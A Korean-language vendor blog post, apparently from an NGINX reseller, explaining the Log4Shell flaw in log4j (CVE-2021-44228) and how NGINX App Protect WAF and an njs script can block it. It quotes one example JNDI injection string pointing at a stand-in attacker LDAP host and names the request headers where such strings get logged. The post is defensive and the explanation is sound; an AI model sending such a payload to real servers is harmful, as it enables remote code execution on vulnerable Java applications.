log4j 취약점 (CVE-2021-44228) NGINX로 완화
2021년 12월 10일 금요일은 전 세계 IT 전문가들에게 기억에 남을 날로 기억될 것입니다. 그날은 Java 애플리케이션에서 매우 인기 있는 로깅 라이브러리인 log4j에서 매우 심각한 제로데이 취약점이 발견된 날입니다. 이 log4j 취약점 에는 “Log4Shell”이라는 이름이 빠르게 부여되었고, 모든 규모의 기업들이 대응 전략을 구현하기 위해 서두르게 되었습니다. 이는 아직 쓰고 있는 시점에서도 패치 작업의 마라톤이 계속되고 있습니다.
NGINX는 이 위협을 분석하였으며, 해당 포스트에서는 애플리케이션을 보호하기 위한 다양한 대응 방법을 제시합니다.
목차
1. Log4Shell이란 무엇일까요?
2. log4j 취약점, NGINX에 미치는 영향
3. NGINX로 log4j 취약점 예방
3-1 . NGINX App Protect WAF
3-2. NGINX Javascript Module
4. 요약
1. Log4Shell이란 무엇일까요?
log4j 라이브러리의 버전 2.15 및 이전 버전은 CVE-2021-44228에서 설명한 원격 코드 실행(RCE) 취약점에 취약합니다. (log4j의 버전 2.16은 이 취약점을 수정합니다.) 이 log4j 취약점을 이용한 공격을 Log4Shell이라고 합니다. 그러나 이 log4j 취약점 이 무엇이며 왜 이렇게 중요한 것일까요?
CVE에서 설명한 대로, Apache log4j Java 라이브러리는 입력값을 올바르게 검증하지 않습니다. log4j 취약점 을 이용하면 악의적인 사용자가 애플리케이션 서버에 악성 코드를 삽입하고 실행할 수 있습니다. 이는 공격자가 시스템을 완전히 제어하고 중요한 데이터를 탈취하거나 손상시킬 수 있는 위험을 초래합니다.
log4j 라이브러리와 Java 런타임의 JNDI (Java Naming and Direcroty Interface) 기능은 외부 소스에서 데이터를 검색하기 위해 원격 조회를 수행하는데 사용될 수 있습니다. 예를 들어 LDAP에서 사용자 이름이나 DNS에서 IP 주소를 검색하여 로그 항목에 포함시킬 수 있습니다.
그러나 원격 공격자는 JNDI를 탈취하여 작성한 Java 코드를 실행할 수 있습니다. 다음 다이어그램은 해당 공격에 대해 설명합니다.

취약한 대상을 공격하려면 공격자는 애플리케이션 코드를 속여 ${jndi:ldap://evil.xa/x}와 같은 문자열을 포함하는 로그 항목을 작성하도록 유도해야 합니다.
여기 꽤나 흥미로운 질문이 있습니다.
“어디에 문자열을 넣어야 로그 메세지에 나타날까요?”
많은 애플리케이션에서 로깅은 필수적이며, HTTP 헤더 (User-Agent 및 X-Forwarded-For), URI 및 요청 본문과 같은 모든 수신 요청에 대한 다양한 정보가 로깅됩니다. 많은 공격 벡터가 있으며, log4j로 문자열이 로깅되는 한 애플리케이션은 공격 당할 수 있습니다.
2. log4j 취약점, NGINX에 미치는 영향
NGINX 자체는 취약하지 않습니다. C로 작성되어 있으며 Java나 Java 기반 라이브러리를 사용하지 않기 때문입니다.
NGINX 제품에 대한 CVE-2021-44228의 공식 대응 방법은 AskF5 knowledge K19026212 문서를 참조하십시오.
3. NGINX로 log4j 취약점 예방
위 문단에서 언급한 대로, 공격자는 HTTP 요청의 어딘가에 악용 문자열을 대상 애플리케이션에 보내야 합니다.
NGINX는 수신된 요청을 검사하여 침해 표시(IOC)를 찾고 차단하는 여러 도구를 제공합니다.
악성 요청을 차단하는 가장 효율적인 방법은 웹 애플리케이션 방화벽 (WAF)을 사용하는 것입니다. WAF는 사전 컴파일된 규칙 집합과 요청 데이터를 비교하여 CVE-2021-44228의 표시를 찾습니다.
그러나 제로데이 악용 후 WAF 규칙을 업데이트 하는 것은 무기 경쟁과 같습니다. 특정 악용에 대한 WAF 규칙이 사용 가능해지면, 공격자는 WAF를 우회할 수 있는 기술과 패턴을 찾습니다. WAF 규칙을 최신 상태로 유지하는 것이 중요합니다.
3-1. NGINX App Protect WAF
NGINX App Protect WAF는 모던 앱에 최적화된 보안 솔루션 입니다. 위협과 알려진 WAF 우회 기술의 지속적인 조사를 기반으로, NGINX는 Server Side Code Injection Signature 를 업데이트하여 log4j 취약점, Log4Shell 공격을 효과적으로 탐지할 수 있도록 새로운 규칙을 추가했습니다.
3-2 . NGINX Javascript Module
NGINX와 NGINX Plus는 많은 Java 기반 애플리케이션 앞에서 Reverse Proxy로 널리 배포됩니다.
WAF에 액세스 할 수 없는 사용자와 고객을 위해, NGINX는 NGINX Javascript Module (njs)을 사용하는 스크립트를 만들었습니다. 이 스크립트는 알려진 IOC 문자열과 정규 표현식을 사용하여 입력 데이터를 일치시키고 악성 요청을 차단하기 위해 들어오는 요청의 HTTP 헤더, URI 및 요청 본문을 스캔하고 log4j 취약점 을 예방합니다.
4. 요약
log4j 취약점, Log4Shell에 대한 가장 효과적인 해결책은 JDNI를 비활성화 하는 log4j 버전 2.16 이상으로 애플리케이션 코드를 패치하는 것입니다. 즉시 이를 적용할 수 없는 경우, WAF를 사용하여 위협을 효과적으로 완화할 수 있습니다.
WAF가 없는 경우, NGINX의 njs 스크립트를 사용하여 위협에 대한 구체적인 보호를 구현할 수 있습니다.
아래 뉴스레터를 구독하고 NGINX STORE에서 위협이 되는 보안 취약점이나 최신 소식을 발 빠르게 받아보세요.
댓글을 달려면 로그인해야 합니다.